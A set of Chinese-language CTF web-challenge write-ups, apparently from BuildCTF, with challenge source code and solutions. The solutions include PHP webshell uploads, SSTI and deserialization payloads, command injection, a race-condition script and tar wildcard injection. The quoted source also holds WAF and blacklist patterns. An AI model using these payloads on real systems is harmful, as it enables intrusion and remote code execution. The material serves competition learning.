ez!http
POST / HTTP/1.1
Host: 27.25.151.80:35298
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: blog.buildctf.vip
X-Forwarded-For: 127.0.0.1
Date: 2042.99.99
From: [email protected]
Via: buildctf.via
Accept-Language: buildctf
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
user=root&getFlag=This_is_flag
babyupload
有文件头和MIME验证 过滤了php
.htaccess
AddType application/x-httpd-php .jpg
1.jpg
GIF89a
<? echo `cat /var/www/html/f*`;?>
functionsssssss.php
<?php
function checkFileContent($content)
{
$backlist = ["php","\$_GET","\$_POST","eval","assert","system","passthru","exec","popen","shell_exec","create_function","call_user_func","call_user_func_array","uasort","preg_replace","array_map","include","require","require_once","include_once","env","bash","dev"];
foreach ($backlist as $value){
$value = preg_replace("/[\r\n]/",'',$value);
if (preg_match("/$value/i",$content)) return false;
}
return true;
}
function checkFileHeadler($headler)
{
$writelist = array("gif"=>"47494638","png"=>"89504e47","ffd8ff","ffd8ffdb");
foreach($writelist as $w){if (preg_match("/$w/",$headler)) return true;}
return false;
}
function checkFileType($pix)
{
$writelist = array("jpg", "png", "gif","jpeg","htaccess");
foreach($writelist as $w){if ($pix === $w) return true;}
return false;
}
function checkMIME($mime)
{
$writelist = array("image/jpeg", "image/png", "image/gif","image/jpeg");
foreach($writelist as $w){if ($mime === $w) return true;}
return false;
}
function tmplate($content)
{
return "<span>$content</span>";
}
# upload.php
<?php
include "functionsssssss.php";
error_reporting(0);
if(isset($_POST['submit'])){
$filename = 'uploads/'.$_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$pix = explode('.',$filename);
$pix = end($pix);
$mime = $_FILES['upload_file']['type'];
$fileContents = file_get_contents($temp_file);
$headler = bin2hex(substr($fileContents,0,4));
$flag = 0;
if (checkFileType($pix) and checkMIME($mime) and (checkFileHeadler($headler) or $pix === "htaccess")){
if (checkFileContent($fileContents) or $pix === "htaccess"){
if (move_uploaded_file($temp_file,$filename)) echo tmplate($filename);
else echo tmplate("<span>上传失败</span>");
}else{
echo "<img src='images/yijian_fail.jpg' width='300px' height='300px'/>";
}
}else{
echo tmplate("别传些我不认识的图片了呜呜呜");
}
}else echo tmplate("给我传点图片吧,看看你的图片值不值得拿flag");
?>
flag在环境变量里
<? echo `set`;?>
<? echo `export GZCTF_FLAG`;?>
我写的网站被rce了?
ban了/
flag
空格
;
log_type=access||nl$IFS/fl?g||
tflock
robots.txt
有提示 可以弱密码登录 不过没法进入admin.php
结束后 爆破成功了emmm
RedFlag
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
Payload:{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
另外还有
{{ url_for.__globals__['current_app'].config }}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
// 利⽤self
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
{{self.__dict__._TemplateReference__context.config}}
LovePopChain
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
exp:
<?php
class MyObject{
public $NoLove;
public $Forgzy;
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si;
}
$a = new MyObject();
$a->NoLove = new hybcx();
$a->NoLove->Si = new MyObject();
echo urlencode(serialize($a));
Payload:
GET: ?No[Need.For.Love=O%3A8%3A%22MyObject%22%3A2%3A%7Bs%3A6%3A%22NoLove%22%3BO%3A5%3A%22hybcx%22%3A2%3A%7Bs%3A6%3A%22JiuYue%22%3BN%3Bs%3A2%3A%22Si%22%3BO%3A8%3A%22MyObject%22%3A2%3A%7Bs%3A6%3A%22NoLove%22%3BN%3Bs%3A6%3A%22Forgzy%22%3BN%3B%7D%7Ds%3A6%3A%22Forgzy%22%3BN%3B%7D
POST: y3y4=system('tac /ofl1111111111ove4g');
ez_md5
使用ffifdyop
绕过
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
不是吧这么简单的md5都过不去?
robots提示md5(114514xxxxxxx)
from hashlib import md5
from string import digits
en_md5 = "3e41f780146b6c246cd49dd296a3da28"
# 114514xxxxxxx
for i1 in digits:
for i2 in digits:
for i3 in digits:
for i4 in digits:
for i5 in digits:
for i6 in digits:
for i7 in digits:
de_md5 = str('114514'+i1+i2+i3+i4+i5+i6+i7).encode('utf-8')
if md5(de_md5).hexdigest() == en_md5:
print(de_md5)
Payload:
GET: ?a[]=1&b[]=2
POST: Build[CTF.com=1145146803531
Why_so_serials?
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];
$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}
HAHAHAHA batman can't catch me!
简单的字符串逃逸 构造19个joker
即可
exp:
<?php
class Gotham{
public $Bruce;
public $Wayne;
public $crime=true;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
$a = new Gotham('1','jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}');
// O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:"2";s:5:"crime";b:1;}
// O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:20:"2";s:5:"crime";b:1;}";s:5:"crime";b:1;}
echo serialize($a);
Payload:
GET: ?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}
Cookie_Factory
你需要获得 1e20 个曲奇饼干,希望你会玩得开心!
// provided.js
const express = require('express');
const app = express();
const http = require('http').Server(app);
const port = 3000;
const socketIo = require('socket.io');
const io = socketIo(http);
// 定义两个对象来存储会话和错误信息
let sessions = {};
let errors = {};
// 设置静态文件目录为当前目录
app.use(express.static(__dirname));
// 处理根路径的 GET 请求,返回 index.html 文件
app.get('/', (req, res) => {
res.sendFile(__dirname + "/index.html");
});
// 监听 Socket.io 的连接事件
io.on('connection', (socket) => {
// 初始化当前会话的值为 0,错误计数也为 0
sessions[socket.id] = 0;
errors[socket.id] = 0;
// 监听断开连接事件
socket.on('disconnect', () => {
console.log('用户已断开连接');
});
// 监听聊天消息事件,并将其发送回客户端
socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});
// 监听错误接收事件,更新会话值并发送当前分数
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id];
socket.emit('recievedScore', JSON.stringify({"value": sessions[socket.id]}));
});
// 监听点击事件
socket.on('click', (msg) => {
let json = JSON.parse(msg);
// 如果会话值超过 1e20,发送 FLAG 并返回
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value": "FLAG"}));
return;
}
// 如果接收到的值与当前会话值不匹配,发送错误信息
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match");
}
// 更新会话值
let oldValue = sessions[socket.id];
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue;
sessions[socket.id] = newValue;
socket.emit('recievedScore', JSON.stringify({"value": newValue}));
// 如果接收到的 power 大于 10,发送错误信息
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value": oldValue}));
}
// 更新错误计数
errors[socket.id] = oldValue;
});
});
// 启动服务器,监听指定端口
http.listen(port, () => {
console.log(`服务器正在监听端口 ${port}。 (访问 http://localhost:${port})`);
});
// 你的值只有在客户端通过发送 receivedError 事件确认错误时才会更新
// 所以你可以直接禁用这个事件
// 将以下代码粘贴到浏览器的 JS 控制台
// 禁用 'error' 事件的监听
socket.off('error');
// 发送点击事件,尝试更新服务器端的值
// 这里发送了两次,因为服务器端只有在存储的点数超过 1e20 时才会更新
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
eazyl0gin
var express = require('express');
var router = express.Router();
const crypto = require('crypto');
const { type } = require('os');
/* GET users listing. */
router.get('/', function(req, res, next) {
res.send('respond with a resource');
});
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不许用buildctf账户登陆"})
}
if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}
var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})
})
module.exports = router;
根据提示看到输⼊的 username 经过了 toUpperCase和toLowerCase处理
js的大小写有如下特性
对于toUpperCase(): 字符"ı"
、"ſ"
经过toUpperCase处理后结果为 "I"
、"S"
对于toLowerCase(): 字符"K"
经过toLowerCase处理后结果为"k"
(这个K不是K)
username: buıldctf
password: 012346
ez_waf(脏数据绕过waf )
文件源码
<?php
// 检查是否有文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];
// 检查文件是否成功上传
if ($file['error'] === UPLOAD_ERR_OK) {
$file_path = $file['tmp_name'];
$file_size = $file['size'];
$file_name = basename($file['name']);
// 删除文件扩展名检查
// 检查文件大小(例如限制为 2MB)
if ($file_size > 2 * 1024 * 1024) { // 2MB
die("文件大小超过限制!");
}
// 读取前5000个字符
$file_content = file_get_contents($file_path, false, null, 0, 5000);
// 模拟 WAF 检查规则
$dangerous_patterns = [
// PHP 标签检测
'/<\?php/i', // PHP 开始标签
'/<\?=/', // 短标签
'/<\?xml/', // XML 标签
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen)\b/i', // 恶意函数
// SQL 注入相关
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/', // SQL 注释
'/\/\*\s.*\*\//', // 多行 SQL 注释
'/#/', // 单行 SQL 注释
// XSS 攻击相关
'/<script\b.*?>.*?<\/script>/is', // <script> 标签及内容
'/javascript:/i', // javascript URI
'/on\w+\s*=\s*["\'].*["\']/i', // 事件处理程序
// 特殊字符
'/[\<\>\'\"\\\`\;\=]/', // < > ' " ` ; =
'/%[0-9a-fA-F]{2}/', // URL 编码
'/&#[0-9]{1,5};/', // HTML 实体编码
'/&#x[0-9a-fA-F]+;/', // 十六进制 HTML 实体编码
// 常用的系统命令和函数
'/system\(/i', // PHP system() 函数
'/exec\(/i', // PHP exec() 函数
'/passthru\(/i', // PHP passthru() 函数
'/shell_exec\(/i', // PHP shell_exec() 函数
'/file_get_contents\(/i', // 文件读取操作
'/fopen\(/i', // 打开文件操作
'/file_put_contents\(/i', // 文件写入操作
// Unicode 和 UTF-7 绕过
'/%u[0-9A-F]{4}/i', // Unicode 编码
'/[^\x00-\x7F]/', // 非 ASCII 字符
// 检测路径穿越
'/\.\.\//', // 路径穿越
];
// 遍历所有规则,检查是否匹配
foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("文件内容包含危险字符或代码,上传被拦截!");
}
}
// 如果文件通过了WAF检查,保存文件
$upload_dir = 'uploads/';
// 检查目录是否存在,如果不存在,则创建它
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true); // 创建目录并设置权限
}
// 处理文件名,避免特殊字符
$new_file_name = $upload_dir . basename(preg_replace('/[^a-zA-Z0-9._-]/', '_', $file_name));
if (move_uploaded_file($file_path, $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('waf_background.jpg') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: flex-start;
height: 100vh;
margin: 0;
}
.upload-container {
background-color: rgba(255, 255, 255, 0.9);
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
text-align: center;
position: absolute;
top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
}
.upload-container h2 {
color: #333;
margin-bottom: 20px;
}
.file-input {
display: none;
}
.custom-file-upload, .submit-btn {
display: inline-block;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
}
.custom-file-upload {
background-color: #007bff;
color: white;
margin-right: 10px;
}
.custom-file-upload:hover {
background-color: #0056b3;
}
.submit-btn {
background-color: #28a745;
color: white;
border: none;
}
.submit-btn:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="upload-container">
<h2>漂亮国蓝宫WAF,你能绕过吗?</h2>
<form action="" method="POST" enctype="multipart/form-data">
<label for="upload_file" class="custom-file-upload">选择文件</label>
<input type="file" name="upload_file" id="upload_file" class="file-input">
<input type="submit" value="上传文件" class="submit-btn">
</form>
</div>
<script>
document.querySelector('.custom-file-upload').addEventListener('click', function() {
document.getElementById('upload_file').click();
});
</script>
</body>
</html>
fake_signin(并发无锁)
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
在 /supplement_signin 路由中存在⼀个并发漏洞,具体原因是因为在检查和更新user['supplement_count']
的值时没有锁机制。
在并发环境下,多个请求可以在相近的时间访问该代码,从而绕过检查,使得 user['supplement_count']
被多次更新。
Exp:
import threading
import requests
base_url = 'http://27.25.151.80:45456/'
USERNAME = 'admin'
PASSWORD = 'admin'
supplement_dates = [f'2024-09-{i:02d}' for i in range(1, 31)]
session = requests.Session()
login_data = {
'username': USERNAME,
'password': PASSWORD
}
session.post(base_url + '/login', data=login_data)
def supplement_signin(supplement_date):
data = {'supplement_date': supplement_date}
response = session.post(base_url + 'supplement_signin', data=data)
print(f"Date: {supplement_date}, Status Code: {response.status_code},Response: {response.text}")
threads = [] # 创建一个空列表,用于存储线程对象
for supplement_date in supplement_dates:
t = threading.Thread(target=supplement_signin, args=(supplement_date,)) # 为每个日期创建一个线程
t.start() # 启动线程
threads.append(t) # 将线程对象添加到列表中
for t in threads:
t.join() # 等待所有线程完成
sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
/page页中使用content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
读文件 可以伪造jwt然后命令拼接读flag
刮刮乐
<?php
$referer = $_SERVER['HTTP_REFERER'];
if (isset($_GET['cmd'])) {
$c = $_GET['cmd'];
if (strpos($referer, 'baidu.com') !== false) {
// 允许访问
system($c . " >/dev/null 2>&1");
} else {
echo '不对哦,你不是来自baidu.com的自己人哦';
}
}
?>
Payload:
GET /?cmd=tac%20/flag;ls HTTP/1.1
Referer: baidu.com
打包给你
使用tar –checkpoint提权操作 详解–checkpoint-action的参数及作用
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os
app = Flask(__name__)
@app.before_request
def check_uuid():
uuid_cookie = request.cookies.get('uuid', None)
if uuid_cookie is None:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
try:
uuid.UUID(uuid_cookie)
except ValueError:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
g.uuid = uuid_cookie
if not os.path.exists(f'uploads/{g.uuid}'):
os.mkdir(f'uploads/{g.uuid}')
@app.route('/', methods=['GET'])
def main():
return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8888, threaded=True)
关键代码在于:其中tar命令后⾯直接使⽤了通配符 * 号,又因为上传的文件名是我们可控的,所以这里会导致通配符注⼊,从而实现命令执行。..
和/
的绕过则使用base64进行绕过。
--checkpoint=1
--checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash #ls /> $(pwd)/test.txt
需要点两次下载,第⼀次执行ls /,第⼆次下载test.txt查看内容